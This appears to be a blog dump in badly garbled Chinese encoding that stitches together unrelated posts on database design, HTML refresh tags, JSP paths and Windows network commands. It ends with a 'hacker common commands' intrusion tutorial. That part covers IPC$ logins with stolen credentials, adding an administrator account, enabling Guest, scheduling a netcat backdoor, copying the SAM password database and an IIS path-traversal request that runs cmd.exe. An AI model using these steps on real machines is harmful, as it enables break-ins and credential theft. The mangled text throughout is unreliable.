??xml version="1.0" encoding="utf-8" standalone="yes"?> 1. 原始单据与实体之间的关系 可以是一对一、一对多、多对多的关pR在一般情况下Q它们是一对一的关p:即一张原始单据对应且只对应一个实体。在Ҏ情况下,它们可能是一对多或多对一的关p,即一张原始单据对应多个实体,或多张原始单据对应一个实体。这里的实体可以理解为基本表。明这U对应关pdQ对我们设计录入界面大有好处? 〖例1〗:一份员工历资料,在h力资源信息系l中Q就对应三个基本表:员工基本情况表、社会关p表、工作简历表。这是“一张原始单据对应多个实体”的典型例子? 2. 主键与外?/strong> 一般而言Q一个实体不能既无主键又无外键。在EQR 图中, 处于叶子部位的实? 可以定义主键Q也可以不定义主?因ؓ它无子孙), 但必要有外?因ؓ它有父亲)? 主键与外键的设计Q在全局数据库的设计中,占有重要C。当全局数据库的设计完成以后Q有个美国数据库设计专家_“键Q到处都是键Q除了键之外Q什么也没有”,q就是他的数据库设计l验之谈Q也反映了他对信息系l核?数据模型)的高度抽象思想。因为:主键是实体的高度抽象Q主键与外键的配对,表示实体之间的连接? 3. 基本表的性质 基本表与中间表、时表不同Q因为它h如下四个Ҏ: (1) 原子性。基本表中的字段是不可再分解的? (2) 原始性。基本表中的记录是原始数据(基础数据Q的记录? (3) 演绎性。由基本表与代码表中的数据,可以z出所有的输出数据? (4) E_性。基本表的结构是相对E_的,表中的记录是要长期保存的? 理解基本表的性质后,在设计数据库Ӟp基本表与中间表、时表区分开来? 4. 范式标准 基本表及其字D之间的关系, 应尽量满第三范式。但是,满W三范式的数据库设计Q往往不是最好的设计。ؓ了提高数据库的运行效率,常常需要降低范式标准:适当增加冗余Q达CI间换时间的目的? 〖例2〗:有一张存攑֕品的基本表,如表1所C。“金额”这个字D늚存在Q表明该表的设计不满第三范式,因ؓ“金额”可以由“单价”乘以“数量”得刎ͼ说明“金额”是冗余字段。但是,增加“金额”这个冗余字D,可以提高查询l计的速度Q这是以空间换旉的作法? 在Rose 2002中,规定列有两种cdQ数据列和计列。“金额”这L列被UCؓ“计列”,而“单价”和“数量”这L列被UCؓ“数据列”? ? 商品表的表结? 商品名称 商品型号 单h 数量 金额 电视?29?2,500 40 100,000 5. 通俗地理解三个范?/strong> 通俗地理解三个范式,对于数据库设计大有好处。在数据库设计中Qؓ了更好地应用三个范式Q就必须通俗地理解三个范?通俗地理解是够用的理解,q不是最U学最准确的理?Q? W一范式Q?NF是对属性的原子性约束,要求属性具有原子性,不可再分解; W二范式Q?NF是对记录的惟一性约束,要求记录有惟一标识Q即实体的惟一性; W三范式Q?NF是对字段冗余性的U束Q即M字段不能由其他字D|生出来,它要求字D|有冗余? 没有冗余的数据库设计可以做到。但是,没有冗余的数据库未必是最好的数据库,有时Z提高q行效率Q就必须降低范式标准Q适当保留冗余数据。具体做法是Q在概念数据模型设计旉守第三范式,降低范式标准的工作放到物理数据模型设计时考虑。降低范式就是增加字D,允许冗余? 6. 要善于识别与正确处理多对多的关系 若两个实体之间存在多对多的关p,则应消除q种关系。消除的办法是,在两者之间增加第三个实体。这P原来一个多对多的关p,现在变ؓ两个一对多的关pR要原来两个实体的属性合理地分配C个实体中厅R这里的W三个实体,实质上是一个较复杂的关p,它对应一张基本表。一般来Ԍ数据库设计工具不能识别多对多的关p,但能处理多对多的关系? 〖例3〗:在“图书馆信息pȝ”中Q“图书”是一个实体,“读者”也是一个实体。这两个实体之间的关p,是一个典型的多对多关p:一本图书在不同旉可以被多个读者借阅Q一个读者又可以借多本图书。ؓ此,要在二者之间增加第三个实体Q该实体取名为“借还书”,它的属性ؓQ借还旉、借还标志(0表示借书Q?表示q书)Q另外,它还应该有两个外?“图书”的主键Q“读者”的主键)Q它能与“图书”和“读者”连接? 7. 主键PK的取值方?/strong> PK是供E序员用的表间q接工具Q可以是一无物理意义的数字? q序自动加1来实现。也可以是有物理意义的字D名或字D名的组合。不q前者比后者好。当PK是字D名的组合时Q徏议字D늚个数不要太多Q多了不但烦引占用空间大Q而且速度也慢? 8. 正确认识数据冗余 主键与外键在多表中的重复出现, 不属于数据冗余,q个概念必须清楚Q事实上有许多hq不清楚。非键字D늚重复出现, 才是数据冗余Q而且是一U低U冗余,即重复性的冗余。高U冗余不是字D늚重复出现Q而是字段的派生出现? 〖例4〗:商品中的“单仗数量、金额”三个字D,“金额”就是由“单价”乘以“数量”派生出来的Q它是冗余Q而且是一U高U冗余。冗余的目的是ؓ了提高处理速度。只有低U冗余才会增加数据的不一致性,因ؓ同一数据Q可能从不同旉、地炏V角色上多次录入。因此,我们提倡高U冗?z性冗?Q反对低U冗?重复性冗?? 9. EQR图没有标准答?/strong> 信息pȝ的EQR图没有标准答案,因ؓ它的设计与画法不是惟一的,只要它覆盖了pȝ需求的业务范围和功能内容,是可行的。反之要修改EQR图。尽它没有惟一的标准答案,q不意味着可以随意设计。好的EQ图的标准是Q结构清晰、关联简z、实体个数适中、属性分配合理、没有低U冗余? 10. 视图技术在数据库设计中很有?/strong> 与基本表、代码表、中间表不同Q视图是一U虚表,它依赖数据源的实表而存在。视图是供程序员使用数据库的一个窗口,是基表数据综合的一UŞ? 是数据处理的一U方法,是用h据保密的一U手Dcؓ了进行复杂处理、提高运速度和节省存储空? 视图的定义深度一般不得超q三层?若三层视图仍不够? 则应在视图上定义临时? 在时表上再定义视图。这样反复交q定? 视图的深度就不受限制了? 对于某些与国家政沅R经、技术、军事和安全利益有关的信息系l,视图的作用更加重要。这些系l的基本表完成物理设计之后,立即在基本表上徏立第一层视图,q层视图的个数和l构Q与基本表的个数和结构是完全相同。ƈ且规定,所有的E序员,一律只准在视图上操作。只有数据库理员,带着多个人员共同掌握的“安全钥匙”,才能直接在基本表上操作。请读者想惻Iq是Z么? 11. 中间表、报表和临时? 中间表是存放l计数据的表Q它是ؓ数据仓库、输出报表或查询l果而设计的Q有时它没有主键与外?数据仓库除外)。时表是程序员个h设计的,存放临时记录Qؓ个h所用。基表和中间表由DBAl护Q时表q序员自己用程序自动维护? 12. 完整性约束表现在三个斚w 域的完整性:用Check来实现约束,在数据库设计工具中,对字D늚取D围进行定义时Q有一个Check按钮Q通过它定义字D늚值城? 参照完整性:用PK、FK、表U触发器来实现? 用户定义完整性:它是一些业务规则,用存储过E和触发器来实现? 13. 防止数据库设计打补丁的方法是“三原则?/strong> (1) 一个数据库中表的个数越越好。只有表的个数少了,才能说明pȝ的EQR囑ְ而精Q去掉了重复的多余的实体QŞ成了对客观世界的高度抽象Q进行了pȝ的数据集成,防止了打补丁式的设计Q? (2) 一个表中组合主键的字段个数少好。因Z键的作用Q一是徏主键索引Q二是做为子表的外键Q所以组合主键的字段个数了Q不仅节省了q行旉Q而且节省了烦引存储空_ (3) 一个表中的字段个数少好。只有字D늚个数了Q才能说明在pȝ中不存在数据重复Q且很少有数据冗余,更重要的是督促读者学会“列变行”,q样防止了子表中的字D|入到主表中去Q在主表中留下许多空余的字段。所谓“列变行”,是主表中的一部分内容拉出去,另外单独Z个子表。这个方法很单,有的人就是不习惯、不采纳、不执行? 数据库设计的实用原则是:在数据冗余和处理速度之间扑ֈ合适的q炏V“三”是一个整体概念,l合观点Q不能孤立某一个原则。该原则是相对的Q不是绝对的。“三多”原则肯定是错误的。试惻I若覆盖系l同L功能Q一百个实体(׃千个属? 的EQR图,肯定比二百个实体(׃千个属?的EQR图,要好得多? 提倡“三”原则,是叫读者学会利用数据库设计技术进行系l的数据集成。数据集成的步骤是将文gpȝ集成为应用数据库Q将应用数据库集成ؓ主题数据库,主题数据库集成为全局l合数据库。集成的E度高Q数据共享性就强Q信息孤岛现象就少Q整个企业信息系l的全局E—R图中实体的个数、主键的个数、属性的个数׃少? 提倡“三”原则的目的Q是防止读者利用打补丁技术,不断地对数据库进行增删改Q企业数据库变成了随意设计数据库表的“垃圑֠”,或数据库表的“大杂院”,最后造成数据库中的基本表、代码表、中间表、时表杂ؕ无章Q不计其敎ͼD企事业单位的信息pȝ无法l护而瘫痪? “三多”原则Q何h都可以做刎ͼ该原则是“打补丁Ҏ”设计数据库的歪理学说。“三”原则是而精的原则,它要求有较高的数据库设计技巧与艺术Q不是Q何h都能做到的,因ؓ该原则是杜绝用“打补丁Ҏ”设计数据库的理Z据? 14. 提高数据库运行效率的办法 在给定的pȝg和系lY件条件下Q提高数据库pȝ的运行效率的办法是: (1) 在数据库物理设计Ӟ降低范式Q增加冗? 用触发? 多用存储q程? (2) 当计非常复杂、而且记录条数非常巨大?例如一千万?Q复杂计要先在数据库外面,以文件系l方式用C++语言计算处理完成之后Q最后才入库q加到表中去。这是电信计费系l设计的l验? (3) 发现某个表的记录太多Q例如超q一千万条,则要对该表进行水q_剌Ӏ水q_割的做法是,以该表主键PK的某个gؓ界线Q将该表的记录水q_割ؓ两个表。若发现某个表的字段太多Q例如超q八十个Q则垂直分割该表Q将原来的一个表分解Z个表? (4) Ҏ据库理pȝDBMSq行pȝ优化Q即优化各种pȝ参数Q如~冲Z数? (5) 在用面向数据的SQL语言q行E序设计Ӟ量采取优化法? MQ要提高数据库的q行效率Q必M数据库系l优化、数据库设计U优化、程序实现优化Q这三个层次上同时下功夫? 现在可以用META实现自动更换昄内容Q更换的旉和文仉可以自行讑֮。语句如下: < HEAD> < TITLE>h内容< /TITLE> < META HTTP-EQUIV="REFRESH" CONTENT="x; URL=*.*"> < /HEAD> x 是刷新的旉Q单位是U?.* 是刷新的文g。? 利用< META >标签实现Web的自动蟩转。? 在Web上显CZD|q信息,隔一定秒数后Q自动蟩转到其他的Web? 面,由此可以造成新奇的效果。其实现Ҏ是在< HEAD >?lt; /HEAD >标签之间加上如下语句Q? 目录中,则下面的HTML文g在浏览器中显C囑փQ? U钟后将自动? 转到世纪互联主页Q?a >http://www.cenpok.net < HTML> < HEAD> < TITLE>WELCOME< /TITLE> < meta http-equiv="Refresh" content="3; url=http://www.cenpok.net"> < /HEAD> < /HTML>src="/blog/welcome.gif" > 多个内容怼而背景不同的面Q让其每隔一定时间自动相互蟩转。?/p> #########我的实际应用########### 在该|页中加入的相关代码如下Q?/p> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312"> cururl存放当前面url的变量?br />cururl=request.ServerVariables("SCRIPT_NAME")
l对路径Q绝对\径就是你的主上的文件或目录在硬盘上真正的\径,(URL和物理\?例如Q?br>C:xyz est.txt 代表了test.txt文g的绝对\径。http://www.sun.com/index.htm也代表了一个URLl对路径?br>
相对路径Q相对与某个基准目录的\径。包含Web的相对\径(HTML中的相对目录Q,例如Q在
Servlet中,"/"代表Web应用的跟目录。和物理路径的相对表C。例如:"./" 代表当前目录,"../"代表上目录。这U类似的表示Q也是属于相对\径?br>另外关于URIQURL,URN{内容,请参考RFC相关文档标准?br>
RFC 2396: Uniform Resource Identifiers (URI): Generic Syntax,
(http://www.ietf.org/rfc/rfc2396.txt)
2.关于JSP/Servlet中的相对路径和绝对\径?br>
2.1服务器端的地址
服务器端的相对地址指的是相对于你的web应用的地址Q这个地址是在服务器端解析的(不同于html和javascript中的相对地址Q他们是由客L览器解析的Q也是说这时候在jsp和servlet中的相对地址应该是相对于你的web应用Q即相对于http: //192.168.0.1/webapp/的?
其用到的地方有:
forwardQservlet中的request.getRequestDispatcher(address);q个address是在服务器端解析的,所以,你要forward到a.jsp应该q么写:request.getRequestDispatcher(“/user/a.jsp”)q个/ 相对于当前的web应用webappQ其l对地址是Qhttp://192.168.0.1/webapp/user/a.jsp?sendRedirectQ在jsp?lt;%response.sendRedirect("/rtccp/user/a.jsp");%>
2.22、客L的地址
所有的html面中的相对地址都是相对于服务器根目?http://192.168.0.1/)的,而不?跟目录下的该Web应用的目? http://192.168.0.1/webapp/的?Html中的form表单的action属性的地址应该是相对于服务器根目录(http://192.168.0.1/)的,所以,如果提交到a.jsp 为:actionQ?/webapp/user/a.jsp"或action="<%=request.getContextPath()% >"/user/a.jspQ?br>提交到servlet为actiomQ?/webapp/handleservlet" Javascript也是在客L解析的,所以其相对路径和form表单一栗?
因此Q一般情况下Q在JSP/HTML面{引用的CSS,Javascript.Action{属性前面最好都加上
<%=request.getContextPath()%>,以确保所引用的文仉属于Web应用中的目录。另外,应该量避免使用cM".","./","../../"{类似的相对该文件位|的相对路径Q这样当文gUdӞ很容易出问题?br>
3. JSP/Servlet中获得当前应用的相对路径和绝对\?br>3.1 JSP中获得当前应用的相对路径和绝对\?br>根目录所对应的绝对\?request.getRequestURI()
文g的绝对\? :application.getRealPath(request.getRequestURI());
当前web应用的绝对\?:application.getRealPath("/");
取得h文g的上层目?new File(application.getRealPath(request.getRequestURI())).getParent()
3.2 Servlet中获得当前应用的相对路径和绝对\?br>根目录所对应的绝对\?request.getServletPath();
文g的绝对\?:request.getSession().getServletContext().getRealPath
(request.getRequestURI())
当前web应用的绝对\?:servletConfig.getServletContext().getRealPath("/");
(ServletContext对象获得几种方式Q?br>javax.servlet.http.HttpSession.getServletContext()
javax.servlet.jsp.PageContext.getServletContext()
javax.servlet.ServletConfig.getServletContext()
)
4.java 的Class中获得相对\径,l对路径的方?br>4.1单独的JavacM获得l对路径
Ҏjava.io.File的Doc文挡Q可?
默认情况下new File("/")代表的目录ؓQSystem.getProperty("user.dir")?br>一下程序获得执行类的当前\?br>package org.cheng.file;
import java.io.File;
public class FileTest {
public static void main(String[] args) throws Exception {
System.out.println(Thread.currentThread().getContextClassLoader().getResource(""));
System.out.println(FileTest.class.getClassLoader().getResource(""));
System.out.println(ClassLoader.getSystemResource(""));
System.out.println(FileTest.class.getResource(""));
System.out.println(FileTest.class.getResource("/")); //Class文g所在\?
System.out.println(new File("/").getAbsolutePath());
System.out.println(System.getProperty("user.dir"));
}
}
4.2服务器中的Javac获得当前\径(来自|络Q?br>(1).Weblogic
WebApplication的系l文件根目录是你的weblogic安装所在根目录?br>例如Q如果你的weblogic安装在c:eaweblogic700.....
那么Q你的文件根路径是c:.
所以,有两U方式能够让你访问你的服务器端的文gQ?br>a.使用l对路径Q?br>比如你的参数文件放在c:yourconfigyourconf.propertiesQ?br>直接使用 new FileInputStream("yourconfig/yourconf.properties");
b.使用相对路径Q?br>相对路径的根目录是你的webapplication的根路径Q即WEB-INF的上一U目录,你的参数文件放
在yourwebappyourconfigyourconf.propertiesQ?br>q样使用Q?br>new FileInputStream("./yourconfig/yourconf.properties");
q两U方式均可,自己选择?br>
(2).Tomcat
在类中输出System.getProperty("user.dir");昄的是%Tomcat_Home%/bin
(3).Resin
不是你的JSP攄相对路径,是JSP引擎执行q个JSP~译成SERVLET
的\径ؓ?比如用新建文件法试File f = new File("a.htm");
q个a.htm在resin的安装目录下
(4).如何ȝ对\径哪Q?br>
在Java文g中getResource或getResourceAsStream均可
例:getClass().getResourceAsStream(filePath);//filePath可以?/filename",q里?代表web
发布根\径下WEB-INF/classes
默认使用该方法的路径是:WEB-INF/classes。已l在Tomcat中测试?br>
5.d文g时的相对路径Q避免硬~码和绝对\径的使用。(来自|络Q?br>5.1 采用Spring的DI机制获得文gQ避免硬~码?br>参考下面的q接内容Q?br>http://www.javajia.net/viewtopic.php?p=90213&
5.2 配置文g的读?br>参考下面的q接内容Q?br>http://dev.csdn.net/develop/article/39/39681.shtm
5.3 通过虚拟路径或相对\径读取一个xml文gQ避免硬~码
参考下面的q接内容Q?br>http://club.gamvan.com/club/clubPage.jsp?iPage=1&tID=10708&ccID=8
6.Java中文件的常用操作Q复ӞUdQ删除,创徏{)Q来自网l)
常用 java File 操作c?
http://www.easydone.cn/014/200604022353065155.htm
Java文g操作大全QJSP中)
http://www.pconline.com.cn/pcedu/empolder/gj/java/0502/559401.html
java文g操作详解QJava中文|)
http://www.51cto.com/html/2005/1108/10947.htm
JAVA 如何创徏删除修改复制目录及文?br>http://www.gamvan.com/developer/java/2005/2/264.html
ȝQ?br>通过上面内容的用,可以解决在Web应用服务器端Q移动文Ӟ查找文gQ复?br>删除文g{操作,同时Ҏ务器的相对地址Q绝对地址概念更加清晰?br>参考URI,的RFC标准文挡。同时对Java.io.File. Java.net.URI.{内容了解透彻
对其他方面的理解可以更加深入和透彻?
]]> Connection conn =
;
Serializable ret = null;
PreparedStatement state =
.;
ResultSet rs=null;
try
{
state.executeUpdate();
rs = state.getGeneratedKeys();
if (rs.next())
{
ret = (Serializable) rs.getObject(1);
}
} catch (SQLException e)
{
}
return ret;
]]>
]]>
< meta http-equiv="Refresh" content="U数; url=跌{的文件或地址" >
如将一个显C欢q信息的囑փQwelcome.gif存放在与HTML文档同一个?
某网需要实时读取最新的数据库资料来实现实时更新Qhttp://xxx/scriptname.asp
<meta http-equiv="Refresh" content="2; url=<%=cururl%>" >
]]>
ping 192.168.0.8 Qt Q参敎ͼt是等待用户去中断试
2.查看DNS、IP、Mac{?
A.Win98Qwinipcfg
B.Win2000以上QIpconfig/all
C.NSLOOKUPQ如查看沛_的DNS
C:\>nslookup
Default Server: ns.hesjptt.net.cn
Address: 202.99.160.68
>server 202.99.41.2 则将DNS改ؓ?1.2
> pop.pcpop.com
Server: ns.hesjptt.net.cn
Address: 202.99.160.68
Non-authoritative answer:
Name: pop.pcpop.com
Address: 202.99.160.212
3.|络信
Net send 计算机名/IP * (q播) 传送内容,注意不能跨网D?
net stop messenger 停止信服务Q也可以在面板-服务修改
net start messenger 开始信使服?
4.探测ҎҎ计算机名Q所在的l、域及当前用户名 Q追捕的工作原理Q?
ping Qa IP Qt Q只昄NetBios?
nbtstat -a 192.168.10.146 比较全的
5.netstat -a 昄Z的计机当前所开攄所有端?
netstat -s -e 比较详细昄你的|络资料Q包括TCP、UDP、ICMP ?IP的统计等
6.探测arpl定Q动态和静态)列表Q显C所有连接了我的计算机,昄ҎIP和MAC地址
arp -a
7.在代理服务器?
捆绑IP和MAC地址Q解军_域网内盗用IPQ:
ARP Qs 192.168.10.59 00 Q?0QffQ?cQ?8Q?5
解除|卡的IP与MAC地址的绑定:
arp -d |卡IP
8.在网l邻居上隐藏你的计算?
net config server /hidden:yes
net config server /hidden:no 则ؓ开?
9.几个net命o
A.昄当前工作l服务器列表 net viewQ当不带选项使用本命令时Q它׃昄当前域或|络上的计算Z的列表?
比如Q查看这个IP上的׃n资源Q就可以
C:\>net view 192.168.10.8
?192.168.10.8 的共享资?
资源׃n?cd 用?注释
--------------------------------------
|站服务 Disk
命o成功完成?
B.查看计算Z的用户帐号列?net user
C.查看|络链接 net use
例如Qnet use z: \192.168.10.8\movie 这个IP的movie׃n目录映射为本地的Z?
D.记录链接 net session
例如: C:\>net session
计算?用户?客户cd 打开I闲旉
\192.168.10.110 ROME Windows 2000 2195 0 00:03:12
\192.168.10.51 ROME Windows 2000 2195 0 00:00:39
命o成功完成?
10.路由跟踪命o
A.tracert pop.pcpop.com
B.pathping pop.pcpop.com 除了昄路由外,q提?25S的分析,计算丢失包的Q?
11.关于׃n安全的几个命?
A.查看你机器的׃n资源 net share
B.手工删除׃nQ可以编个bat文gQ开q行Q把׃n都删了!Q?
net share c$ /d
net share d$ /d
net share ipc$ /d
net share admin$ /d
注意$后有I格?
C.增加一个共享:
c:\net share mymovie=e:\downloads\movie /users:1
mymovie ׃n成功?
同时限制链接用户Cؓ1人?
12.在DOS行下讄静态IP
A.讄静态IP
CMD
netsh
netsh>int
interface>ip
interface ip>set add "本地链接" static IP地址 mask gateway
B.查看IP讄
interface ip>show address
Arp
昄和修改“地址解析协议 (ARP)”缓存中的项目。ARP ~存中包含一个或多个表,它们用于存储 IP 地址及其l过解析的以太网或o牌环物理地址。计机上安装的每一个以太网或o牌环|络适配器都有自己单独的表。如果在没有参数的情况下使用Q则 arp 命o显C帮助信息?
语法
arp [-a [InetAddr] [-N IfaceAddr]] [-g [InetAddr] [-N IfaceAddr]] [-d InetAddr [IfaceAddr]] [-s InetAddr EtherAddr [IfaceAddr]]
参数
-a [InetAddr] [-N IfaceAddr]
昄所有接口的当前 ARP ~存表。要昄指定 IP 地址?ARP ~存,请用带?InetAddr 参数?arp -aQ此处的 InetAddr 代表指定?IP 地址。要昄指定接口?ARP ~存表,请?-N IfaceAddr 参数Q此处的 IfaceAddr 代表分配l指定接口的 IP 地址?N 参数区分大小写?
-g [InetAddr] [-N IfaceAddr]
?-a 相同?
-d InetAddr [IfaceAddr]
删除指定?IP 地址,此处?InetAddr 代表 IP 地址。对于指定的接口Q要删除表中的某,请?IfaceAddr 参数Q此处的 IfaceAddr 代表分配l该接口?IP 地址。要删除所有项Q请使用星号 (*) 通配W代?InetAddr?
-s InetAddr EtherAddr [IfaceAddr]
?ARP ~存d可将 IP 地址 InetAddr 解析成物理地址 EtherAddr 的静态项。要向指定接口的表添加静?ARP ~存,请?IfaceAddr 参数Q此处的 IfaceAddr 代表分配l该接口?IP 地址?
/?
在命令提C符昄帮助?
注释
InetAddr ?IfaceAddr ?IP 地址用带圆点的十q制记数法表C?
物理地址 EtherAddr 由六个字节组成,q些字节用十六进制记数法表示q且用连字符隔开Q比如,00-AA-00-4F-2A-9CQ?
通过 -s 参数d的项属于静态项Q它们不?ARP ~存中超时。如果终?TCP/IP 协议后再启动Q这些项会被删除。要创徏怹的静?ARP ~存,请在批处理文件中使用适当?arp 命oq过“计划Q务程序”在启动时运行该批处理文件?
只有当网际协?(TCP/IP) 协议?|络q接中安装ؓ|络适配器属性的lgӞ该命令才可用?
范例
要显C所有接口的 ARP ~存表,可键入:
arp -a
对于指派?IP 地址?10.0.0.99 的接口,要显C其 ARP ~存表,可键入:
arp -a -N 10.0.0.99
要添加将 IP 地址 10.0.0.80 解析成物理地址 00-AA-00-4F-2A-9C 的静?ARP ~存,可键入:
arp -s 10.0.0.80 00-AA-00-4F-2A-9C
At
计划在指定时间和日期在计机上运行命令和E序。at 命o只能在“计划”服务运行时使用。如果在没有参数的情况下使用Q则 at 列出已计划的命o?
语法
at [\ComputerName] [{[ID] [/delete] /delete [/yes]}]
at [[\ComputerName] hours:minutes [/interactive] [{/every:date[,...] /next:date[,...]}] command]
参数
\computername
指定q程计算机。如果省略该参数Q则 at 计划本地计算Z的命令和E序?
ID
指定指派l已计划命o的识别码?
/delete
取消已计划的命o。如果省略了 IDQ则计算Z所有已计划的命令将被取消?
/yes
删除已计划的事gӞҎ自系l的所有询问都回答“是”?
hours:minutes
指定命oq行的时间。该旉?24 时Ӟ即从 00:00 [午夜] ?23:59Q的 时: 分钟格式表示?
/interactive
对于在运?command 时登录的用户,允许 command 与该用户的桌面进行交互?
/every:
在每个星期或月的指定日期Q例如,每个星期四,或每月的W三天)q行 command 命o?
date
指定q行命o的日期。可以指定一周的某日或多日(卻I键入 M、T、W、Th、F、S、SuQ或一个月中的某日或多日(卻I键入?1 ?1 之间的数字)。用逗号分隔多个日期V如果省略了 dateQ则 at 使用该月的当前日?
/next:
在下一个指定日期(比如Q下一个星期四Q到来时q行 command?
command
指定要运行的 Windows 命o、程序(.exe ?.com 文gQ或批处理程序(.bat ?.cmd 文gQ。当命o需要\径作为参数时Q请使用l对路径Q也是从驱动器号开始的整个路径。如果命令在q程计算ZQ请指定服务器和׃n名的通用命名协定 (UNC) W号Q而不是远E驱动器受?
/?
在命令提C符昄帮助?
注释
Schtasks 是功能更为强大的集命o行计划工P它含?at 命o行工具中的所有功能。对于所有的命o行计划Q务,都可以?schtasks 来替?at。有?schtasks 的详l信息,请参阅“相关主题”?
使用 at
使用 at 命oӞ要求您必L本地 Administrators l的成员
黑客常用命o
总觉的这些基东西每个人都要看以下~如果你连q些都不会那我看你要好好学习以下了!虽然是基也是重点Q这些命令也l常用到Q有什么不明白的问题可以在q或菜鸟问答区提出!梦会尽力帮大家解答Q?br />1QNET
只要你拥有某IP的用户名和密码,那就用IPC$做连接吧Q?
q里我们假如你得到的用户是hbxQ密码是123456。假讑֯方IP?27.0.0.1
net use \\\\127.0.0.1\\ipc$ "123456" /user:"hbx"
退出的命o?
net use \\\\127.0.0.1\\ipc$ /delte
下面的操作你必须登陆后才可以?登陆的方法就在上?
下面我们讲怎么创徏一个用P׃SA的权限相当于pȝ的超U用?
我们加一个heibai的用户密码ؓlovechina
net user heibai lovechina /add
只要昄命o成功,那么我们可以把他加入Administratorl了.
net localgroup Administrators heibai /add
q里是讲映射Ҏ的C?当然其他盘也可以,只要存在p?我们q里把对方的C盘映到本地的Z?
net use z:\\\\127.0.0.1\\c$
net start telnet
q样可以打开Ҏ的TELNET服务.
q里是将Guest用户Ȁz,guest是NT的默认用P而且无法删除呢?不知道是否这P我的2000是删除不了它?
net user guest /active:yes
q里是把一个用L密码ҎQ我们把guest的密码改为lovechinaQ其他用户也可以的。只要有权限p了呀Q?
net user guest lovechina
net命o果然强大啊!
2:at
一般一个入侵者入侵后都会留下后门Q也是U木马了Q你把木马传了上去,怎么启动他呢Q?
那么需要用AT命oQ这里假设你已经登陆了那个服务器?
你首先要得到Ҏ的时_
net time \\\\127.0.0.1
会q回一个时_q里假设旉?2:1,现在需要新Z个作业,其ID=1
at \\\\127.0.0.1 12:3 nc.exe 严志?
q里假设了一个木马,名ؓNC.EXE,q个东西要在Ҏ服务器上.
q里介绍一下NC,NC是NETCAT的简U?Z方便输入,一般会被改?它是一个TELNET服务,端口?9.
{到?2:3可以连接到Ҏ?9端口.q样qҎU下了木?
3:telnet
q个命o非常实用,它可以与q方做连接,不过正常下需要密码、用?不过你给ҎU了木马,直接q到q个木马打开的端?
telnet 127.0.0.1 99
q样可以连到对方的99端口.那你可以在Ҏq行命o?q个也就是肉?
4:FTP
它可以将你的东西传到Ҏ机子?你可以去甌个支持FTP上传的空?国内多的?如果真的找不?我给?a >WWW.51.NET,不错?当我们申请完后,它会l用户名,密码,以及FTP服务?
在上传前需要登陆先Q这里我们假设FTP服务器是WWW.51.NET,用户名是HUCJS,密码?54321
ftpwww.51.net
他会要求输入用户,成功后会要求输入密码.
下面先说上传,假设你需上传的文件是INDEX.HTM,它位于C:\\?传到ҎD:\\
get c:\\index.htm d:\\
假设你要把对方C盘下的INDEX.HTM,下到你的机子的D盘下
put c:\\index.htm d:\\
5:copy
下面我说说怎样把本地的文g复制到对方硬盘上去,需要徏立好IPC$q接才有效?
q里我们把本地C盘下的index.htm复制?27.0.0.1的C盘下
copy index.htm \\\\127.0.0.1\\c$\\index.htm
如果你要复制到D盘下把C改ؓDQ就行了Q?
copy index.htm \\\\127.0.0.1\\d$\\index.htm
如果你要把他复制到WINNT目录?
p把输?
copy index.htm \\\\127.0.0.1\\admin$\\index.htm
admin$是winnt
要把Ҏ的文件复制过来,Z告诉大家NT的备份的数据库放在x:\\winnt\\repair\\sam._ sam._是数据库的文件名
下面把127.0.0.1的数据库复制到本地C盘下
copy \\\\127.0.0.1\\admin$\\repair\\sam._ c:\\
6Qset
如果你跑q了一部机子,而且想黑他(q思想只能在特别时候才准有Q,当然他的80端口要开Q不然你黑给谁看。这旉要用SET命oQ?
下面是我得到的结果!我来分析它,只是找主在那而已?
COMPUTERNAME=PENTIUMII
ComSpec=D:\\WINNT\\system32\\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=当前登陆者的IPQ这里本来是昄我的IPQ被我删除了
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:\\WINNT\\system32\\os2\\dll;
OS=Windows_NT
Path=D:\\WINNT\\system32;D:\\WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:\\vlroot主页攑֜的地址Q只要你看到PATH_TRANSLATED=的后面就是主늚存放地址。这里是E:\\vlroot
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_STRING=/c+set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe
SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0Ҏ使用IIS/3.0
SystemDrive=D:
SystemRoot=D:\\WINNT
TZ=GMT-9
USERPROFILE=D:\\WINNT\\Profiles\\Default User
windir=D:\\WINNT
_红色的那行是Ҏ主页存放地址Q这里告诉大家一个技巧,很笨的技巧啊Q不q只能用q个Ҏ才能100%的找C늚名称Q当你DIRq个目录Ӟ一定会看到很多文gQ你可以把所有文件在览器这栯入XX.XX.XX.XX/文g名,q样只要看到和XX.XX.XX.XX看到的也面一模一P那么q就是主늚名称了?
7Qnbtstat
如果你扫C部NT的机子,他的136?39其中一个端口开了的话,p用这个命令得到用户了。顺便告诉大家这是netbiosQ得到用户名后就可以猜猜密码了。例如比较简单的密码Q密码和用户名一LQ都试下Q不行就暴力破解吧!
现在|上很多NT的机子都开了这些端口的Q你可以l习下,我们来分析得到的l果?
命o?
nbtstat -A XX.XX.XX.XX
-A一定要大写哦?
下面是得到的l果?
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
Registered Registered Registered Registered Registered Registered Registered Reg
istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
IS~PENTIUMII...<00> UNIQUE
ORAHOTOWN <1E> GROUP
ORAHOTOWN <1D> UNIQUE
..__MSBROWSE__.<01> GROUP
